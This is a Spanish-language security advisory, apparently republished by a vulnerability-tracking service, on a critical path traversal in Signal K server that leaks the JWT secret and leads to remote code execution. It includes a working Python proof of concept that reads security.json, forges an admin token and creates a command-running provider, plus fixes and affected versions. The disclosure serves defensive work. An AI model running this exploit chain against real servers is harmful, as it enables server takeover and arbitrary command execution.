Crítica

Salto de directorio en la API de recursos de Signal K puede divulgar el secreto de firma JWT y permitir la ejecución remota de código

  • Publicada: 30.10.2026
  • Actualizado: 09.11.2026 22:17

El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.

Resumen

Una vulnerabilidad de salto de directorio (path traversal) en las API de recursos y applicationData de Signal K permite a un usuario no autenticado o con pocos privilegios leer, escribir y eliminar archivos fuera de la raíz de almacenamiento. La lectura de <config>/security.json revela el secreto de firma JWT, lo que permite la falsificación de tokens de administrador y la ejecución remota de código.

Detalles

La API REST de recursos v2 GET /signalk/v2/api/resources/:resourceType/:resourceId pasa resourceId a FileStore.getResource() sin validación. getResource() construye la ruta del archivo con path.join(this.resources[type].path, itemUuid) seguido de readFile + JSON.parse, de modo que un salto multinivel codificado en %2F (..%2F..%2F..%2F..%2F) escapa del directorio de almacenamiento de recursos y devuelve cualquier archivo JSON del servidor (fuente: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Dado que el secreto de firma JWT se almacena en texto plano en <config>/security.json (generado en src/tokensecurity.ts:271, persistido mediante saveSecurityConfig en src/security.ts:377), un atacante no autenticado en implementaciones con allow_readonly=true (una configuración admitida y configurable mediante la interfaz de usuario que otorga acceso de lectura anónimo) puede:

  1. Leer <config>/security.json: revelando el secreto de firma JWT (512-hex) y los hashes de contraseñas de los usuarios.
  2. Falsificar un JWT de administrador: firmar con HS256 {"id":"admin"} usando el secreto divulgado; esto es aceptado por /skServer/loginStatus (userLevel: "admin") y todos los endpoints protegidos para administradores (adminAuthenticationMiddleware, src/tokensecurity.ts:593, aplicados en src/tokensecurity.ts:953).
  3. Obtener ejecución remota de código: POST /skServer/providers (administrador) acepta un proveedor de tipo Execute; packages/streams/src/execute.ts:93 lo ejecuta a través de spawn('sh', ['-c', command]) en el momento de la creación. El proveedor persiste en settings.json y sobrevive a los reinicios.

En implementaciones predeterminadas (allow_readonly=false), el paso 1 devuelve 401 a usuarios anónimos, pero se completa con éxito con cualquier token de usuario de solo lectura.

Correcciones sugeridas

  1. Validar resourceId contra una lista blanca estricta (por ejemplo, formato UUID) en src/api/resources/index.ts antes de cualquier llamada de almacenamiento, incluidas PUT/DELETE.
  2. En FileStore.getResource/setResource/deleteResource, canonicalizar con path.resolve() y rechazar resultados fuera de this.resources[type].path.
  3. Almacenar el secreto de firma JWT fuera del directorio de configuración legible por la API, en un archivo de clave dedicado con modo 0600.
  4. Considerar condicionar los tipos de proveedores que ejecutan comandos (Execute) a una habilitación explícita (opt-in).

Prueba de concepto

Entorno de prueba completamente local. Inicie el servidor, habilite allow_readonly=true y ejecute:

python
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists

Reproducción verificada de forma independiente en master 340d5bb6 (Node 22 / macOS), incluida la persistencia tras reinicios. Los artefactos de la PoC están disponibles a petición.

Impacto

El acceso no autenticado (con allow_readonly=true) conduce al compromiso total del proceso del servidor: lectura arbitraria de archivos JSON, toma de control de administrador, ejecución arbitraria de comandos con privilegios de servidor y reejecución persistente tras reiniciar. Todas las versiones de signalk-server y todas las versiones publicadas del resources-provider integrado o independiente anteriores a 2.34.0 están afectadas, siendo la versión corregida 2.34.0.

Qué hacer

Actualice signalk-server a la versión 2.34.0 o posterior y @signalk/resources-provider a la versión 1.5.3 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @signalk/resources-provider >= 1.0.0, < 1.5.3 1.5.3
Paquete de npm signalk-server >= 2.0.0, < 2.34.0 2.34.0

Referencias

Puntuación CVSS 9.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-22
Plataforma
npm
Paquete
@signalk/resources-provider, signalk-server
Publicada
30.10.2026
Actualizado
09.11.2026 22:17

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-4xm8-rg9h-jhq2 - CC BY 4.0

Historial de vulnerabilidades: signalk-server

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (17) en el archivo
Entradas en total
17
Primera → última
01.2026 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 4
  • Alta 4
  • Media 8
  • Baja 1

Divulgaciones por año

  1. 2026: 17
Gravedad:
  1. Salto de directorio en la API de recursos de Signal K puede divulgar el secreto de firma JWT y permitir la ejecución remota de código esta entrada
    Crítica · 9.8 CVE-2026-123807 >= 2.0.0, < 2.34.0 2.34.0
  2. Crítica · 9.4 CVE-2026-33950 < 2.24.0-beta.4 2.24.0-beta.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.